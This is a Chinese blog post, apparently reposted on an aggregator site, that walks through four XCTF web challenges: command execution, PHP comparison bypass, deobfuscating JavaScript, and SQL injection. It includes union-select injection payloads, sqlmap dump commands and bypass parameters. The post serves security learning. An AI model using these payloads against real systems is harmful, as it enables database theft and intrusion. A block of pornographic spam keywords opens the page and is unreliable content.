日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

攻防世界 web(二)

發(fā)布時(shí)間:2024/9/30 编程问答 27 豆豆
生活随笔 收集整理的這篇文章主要介紹了 攻防世界 web(二) 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

這周接著刷攻防世界的web題( ̄︶ ̄)↗

1、command_execution


看提示這題為命令執(zhí)行漏洞(command_execution),關(guān)于命令執(zhí)行漏洞,我前面有篇博客詳細(xì)介紹了,大家不了解的話的可以去看看https://blog.csdn.net/qq_43531669/article/details/99771487
先嘗試一下127.0.0.1 發(fā)現(xiàn)執(zhí)行成功,得到回顯:

那沒(méi)什么好說(shuō)的了,直接查看目錄下的所有文件吧:

得到這些,接著查看home目錄下的文件:

發(fā)現(xiàn)flag文件,然后查看得到flag

2、simple_php


打開(kāi)題目地址:

<?php show_source(__FILE__); include("config.php"); $a=@$_GET['a']; $b=@$_GET['b']; if($a==0 and $a){echo $flag1; } if(is_numeric($b)){exit(); } if($b>1234){echo $flag2; } ?>

得到這么幾串代碼
意思是當(dāng)a==0,但a的值又不能為0時(shí)輸出flag1,b大于1234,并且b不是數(shù)字時(shí)輸出flag2; 于是構(gòu)造:?a=0a&b=12345A便可繞過(guò)得到完整的flag。

3、NaNNaNNaNNaN-Batman

知識(shí)點(diǎn):js代碼(eval函數(shù),alert函數(shù))正則、代碼審計(jì)

eval() 函數(shù):可計(jì)算某個(gè)字符串,并執(zhí)行其中的的 JavaScript 代碼。
alert()函數(shù):用于顯示帶有一條指定消息和一個(gè)確定按鈕的警告框。

下載附件,以文本格式打開(kāi):

是一段JS的代碼,改后綴為.html在游覽器打開(kāi):

有一個(gè)輸入框,但輸入什么都沒(méi)有反應(yīng),繼續(xù)分析js代碼 = ̄ω ̄= 審計(jì)代碼可以看到eval函數(shù)執(zhí)行了_變量中的內(nèi)容也就是' '中的內(nèi)容,但是,要注意的是,它并沒(méi)有執(zhí)行$()函數(shù),僅僅執(zhí)行了字符串而已(從而導(dǎo)致亂碼),因而頁(yè)面html頁(yè)面沒(méi)有任何顯示,只顯示了input標(biāo)簽的內(nèi)容,但是我們想讓源代碼正常顯示出來(lái),不進(jìn)行執(zhí)行,那么,我們就用到了alert彈窗(將eval函數(shù)改為alert),將亂碼的$()函數(shù)源碼完整顯示出來(lái):

整理一下得到:

function $(){ var e=document.getElementById("c").value; if(e.length==16)if(e.match(/^be0f23/)!=null)if(e.match(/233ac/)!=null)if(e.match(/e98aa$/)!=null)if(e.match(/c7be9/)!=null){var t=["fl","s_a","i","e}"];var n=["a","_h0l","n"];var r=["g{","e","_0"];var i=["it'","_","n"];var s=[t,n,r,i];for(var o=0;o<13;++o){document.write(s[o%4][0]);s[o%4].splice(0,1)}} } document.write('<input id="c"><button οnclick=$()>Ok</button>'); delete _

分析代碼,我們的目標(biāo)是打印出document.write(s[o%4][0]);s[o%4].splice(0,1)}
因此我們要滿足關(guān)鍵變量e的條件

e.length==16 e.match(/^be0f23/)!=null e.match(/233ac/)!=null e.match(/e98aa$/)!=null e.match(/c7be9/)!=null

這里又用到了正則表達(dá)式 ^表示開(kāi)頭一定要匹配到be0f23,$表示結(jié)尾一定要匹配到e98aa,其它的只要匹配到就好,沒(méi)有位置要求,于是構(gòu)造e=be0f233ac7be98aa
在輸入框中輸入e的值,點(diǎn)擊Ok
成功得到flag:
flag{it’s_a_h0le_in_0ne}

也可以直接將核心代碼直接在控制臺(tái)執(zhí)行

var t=["fl","s_a","i","e}"];var n=["a","_h0l","n"];var r=["g{","e","_0"];var i=["it'","_","n"];var s=[t,n,r,i];for(var o=0;o<13;++o){document.write(s[o%4][0]);s[o%4].splice(0,1)}

4、NewsCenter


這一題考察的是 SQL 注入,這里演示下手動(dòng)注入和sqlmap兩種方法。

手動(dòng)注入:

首先查返回列,經(jīng)測(cè)試共三列返回?cái)?shù)據(jù)。
接著查看數(shù)據(jù)庫(kù)名,看到庫(kù)名為news


查表名,構(gòu)造命令:1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
得到兩個(gè)表,news中無(wú)數(shù)據(jù),查看表 secret_table字段
1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=' secret_table'

最后執(zhí)行查詢語(yǔ)句
0' union select 1,2,fl4g from secret_table#


得到flag。

Sqlmap自動(dòng)注入:

首先用bp抓包,得到http文件頭

保存為文本。然后執(zhí)行命令:python sqlmap.py -r 1.txt --dbs 查數(shù)據(jù)庫(kù)
再執(zhí)行命令:python sqlmap.py -r 1.txt -D news --dump 獲取庫(kù)中的所有數(shù)據(jù)
得到 flag ! ( ̄▽ ̄)"/

總結(jié)

以上是生活随笔為你收集整理的攻防世界 web(二)的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。